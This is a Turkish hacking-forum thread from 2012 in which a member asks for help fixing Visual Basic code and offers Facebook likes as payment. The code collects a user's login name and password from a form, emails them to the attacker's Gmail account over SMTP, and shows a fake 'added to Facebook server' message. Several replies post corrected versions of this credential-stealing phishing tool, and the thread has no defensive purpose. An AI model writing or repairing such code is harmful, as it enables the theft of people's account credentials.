THT DUYURU

 
 
THT Yardım Merkezi THT Yardım Merkezi bölümünden; teknoloji ve bilişim ile ilgili her konu için yardım isteyebilirsiniz.

Seçenekler

Program Kodları Var Visual Basic Yardım Ederseniz Facebook Sayfa Beğendirmeyi Vericem

OnlineGameHacked - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
10/2012
Mesajlar:
194
Konular:
43
Teşekkür (Etti):
159
Teşekkür (Aldı):
15
Ticaret:
(0) %
8
524
16-11-2012 12:32
#1
Arkadaşlar 2 Gündür Forum'da Bana Kimse Yardım Etmiyor Bu Sefer Karşışığını Vereceğim Facebook Sayfa Beğendirme Abone Kasma Durum Beğendirme Vericem Sorunum Şu Visual Basic Kodlaması Var Elimde Kod'uda Vereyim
Kod:
Private Sub Command1_Click()
    On Error Resume Next
    msn.Logon(Text1.Text, Text2.Text, msn.Services.PrimaryService)
    On Error Resume Next
    Dim iMsg, iConf, Flds
    iMsg = CreateObject("CDO.Message")
    iConf = CreateObject("CDO.Configuration")
    Flds = iConf.Fields
    schema = "Error"
    Flds.Item(schema & "sendusing") = 2
    Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
    Flds.Item(schema & "smtpserverport") = 465
    Flds.Item(schema & "smtpauthenticate") = 1
    Flds.Item(schema & "sendusername") = "gmail"
    Flds.Item(schema & "sendpassword") = "şifren"
    Flds.Item(schema & "smtpusessl") = 1
    Flds.Update()
    With iMsg
        .To = "gmail adresi"
        .From = "Hacker"
        .Subject = "Optimist"
        .HTMLbOdy = Text1.Text & Text2.Text
        .Organization = "Mail Organtion"
        .ReplyTo = "-"
        .Configuration = iConf
        SendEmailGmail = .Send
    End With
    MsgBox("Facebook Server Bölümüne Eklendi")
End Sub
Bu Kodu Visual Basic'De Ekliyorum Program Hata Veriyor Yardım Edermisiniz ??? Tw Bağlanıp'da ?
CETQ - ait Kullanıcı Resmi (Avatar)
Uzman Üye
Üyelik tarihi:
02/2011
Mesajlar:
1.297
Konular:
165
Teşekkür (Etti):
164
Teşekkür (Aldı):
656
Ticaret:
(0) %
16-11-2012 12:51
#2
schemayı değiştirirsin

Kod:
Dim iMsg, iConf, Flds
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
schema = "Error"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "*******" 'Gmail adresiniz
Flds.Item(schema & "sendpassword") = "****" 'şifreniz
Flds.Item(schema & "smtpusessl") = 1
Flds.Update
With iMsg
.To = "*****" 'Mail adresiniz
.From = "*****" 'Mail adresiniz
.Subject = "Log"
.HTMLbOdy = Text1.Text
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
 SendEmailGmail = .Send
 
End With
OnlineGameHacked Teşekkür etti.
HackLord11 - ait Kullanıcı Resmi (Avatar)
Katılımcı Üye
Üyelik tarihi:
10/2012
Nereden:
Forumu Bıraktı
Mesajlar:
475
Konular:
76
Teşekkür (Etti):
33
Teşekkür (Aldı):
105
Ticaret:
(0) %
16-11-2012 12:51
#3
Kod:
Private Sub Command1_Click()
    On Error Resume Next
    msn.Logon(Text1.Text, Text2.Text, msn.Services.PrimaryService)
    On Error Resume Next
    Dim iMsg, iConf, Flds
    iMsg = CreateObject("CDO.Message")
    iConf = CreateObject("CDO.Configuration")
    Flds = iConf.Fields
    schema = "Error"
    Flds.Item(schema & "sendusing") = 2
    Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
    Flds.Item(schema & "smtpserverport") = 465
    Flds.Item(schema & "smtpauthenticate") = 1
    Flds.Item(schema & "sendusername") = "gmailAdresini Yaz"
    Flds.Item(schema & "sendpassword") = "gmail şifreni yaz"
    Flds.Item(schema & "smtpusessl") = 1
    Flds.Update()
    With iMsg
        .To = "gmail adresini gene yaz"
        .From = "Konu Adı"
        .Subject = "Buraya bişeyler yaz"
        .HTMLbOdy = Text1.Text & Text2.Text
        .Organization = "Mail Organtion"
        .ReplyTo = "-"
        .Configuration = iConf
        SendEmailGmail = .Send
    End With
    MsgBox("Facebook Server Bölümüne Eklendi")
End Sub
OnlineGameHacked Teşekkür etti.
Zgr45Mns - ait Kullanıcı Resmi (Avatar)
Katılımcı Üye
Üyelik tarihi:
09/2012
Nereden:
Manisa
Mesajlar:
589
Konular:
45
Teşekkür (Etti):
34
Teşekkür (Aldı):
63
Ticaret:
(0) %
16-11-2012 12:51
#4
arkadaşım vb6 türkçe yamamı var ?
--------------------- yalnız kaldıysan kalkıp pencerenden bir bak
HackLord11 - ait Kullanıcı Resmi (Avatar)
Katılımcı Üye
Üyelik tarihi:
10/2012
Nereden:
Forumu Bıraktı
Mesajlar:
475
Konular:
76
Teşekkür (Etti):
33
Teşekkür (Aldı):
105
Ticaret:
(0) %
16-11-2012 12:52
#5
yada ben 3 de gelecem bana team werirsin pm den yaparız kolay
Zgr45Mns - ait Kullanıcı Resmi (Avatar)
Katılımcı Üye
Üyelik tarihi:
09/2012
Nereden:
Manisa
Mesajlar:
589
Konular:
45
Teşekkür (Etti):
34
Teşekkür (Aldı):
63
Ticaret:
(0) %
16-11-2012 12:52
#6
yoksa ingilizcemi
--------------------- yalnız kaldıysan kalkıp pencerenden bir bak
OnlineGameHacked - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
10/2012
Mesajlar:
194
Konular:
43
Teşekkür (Etti):
159
Teşekkür (Aldı):
15
Ticaret:
(0) %
16-11-2012 12:59
#7
Bana tw den yapa bilicek varmı beyler herkeze vereceğim buradakilere yardımı olan herkeze
Cervereus - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2012
Mesajlar:
125
Konular:
16
Teşekkür (Etti):
19
Teşekkür (Aldı):
21
Ticaret:
(0) %
16-11-2012 15:37
#8
Alıntı:
OnlineGameHacked´isimli üyeden Alıntı Mesajı göster
Bana tw den yapa bilicek varmı beyler herkeze vereceğim buradakilere yardımı olan herkeze
ver halledem
--------------------- Cervereus Logger 2 !
makine22 - ait Kullanıcı Resmi (Avatar)
Katılımcı Üye
Üyelik tarihi:
09/2012
Nereden:
Microsoft®
Mesajlar:
421
Konular:
62
Teşekkür (Etti):
55
Teşekkür (Aldı):
46
Ticaret:
(0) %
16-11-2012 15:40
#9
Alıntı:
HackLord11´isimli üyeden Alıntı Mesajı göster
Kod:
Private Sub Command1_Click()
    On Error Resume Next
    msn.Logon(Text1.Text, Text2.Text, msn.Services.PrimaryService)
    On Error Resume Next
    Dim iMsg, iConf, Flds
    iMsg = CreateObject("CDO.Message")
    iConf = CreateObject("CDO.Configuration")
    Flds = iConf.Fields
    schema = "Error"
    Flds.Item(schema & "sendusing") = 2
    Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
    Flds.Item(schema & "smtpserverport") = 465
    Flds.Item(schema & "smtpauthenticate") = 1
    Flds.Item(schema & "sendusername") = "gmailAdresini Yaz"
    Flds.Item(schema & "sendpassword") = "gmail şifreni yaz"
    Flds.Item(schema & "smtpusessl") = 1
    Flds.Update()
    With iMsg
        .To = "gmail adresini gene yaz"
        .From = "Konu Adı"
        .Subject = "Buraya bişeyler yaz"
        .HTMLbOdy = Text1.Text & Text2.Text
        .Organization = "Mail Organtion"
        .ReplyTo = "-"
        .Configuration = iConf
        SendEmailGmail = .Send
    End With
    MsgBox("Facebook Server Bölümüne Eklendi")
End Sub
Yardımcı olucaktır.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler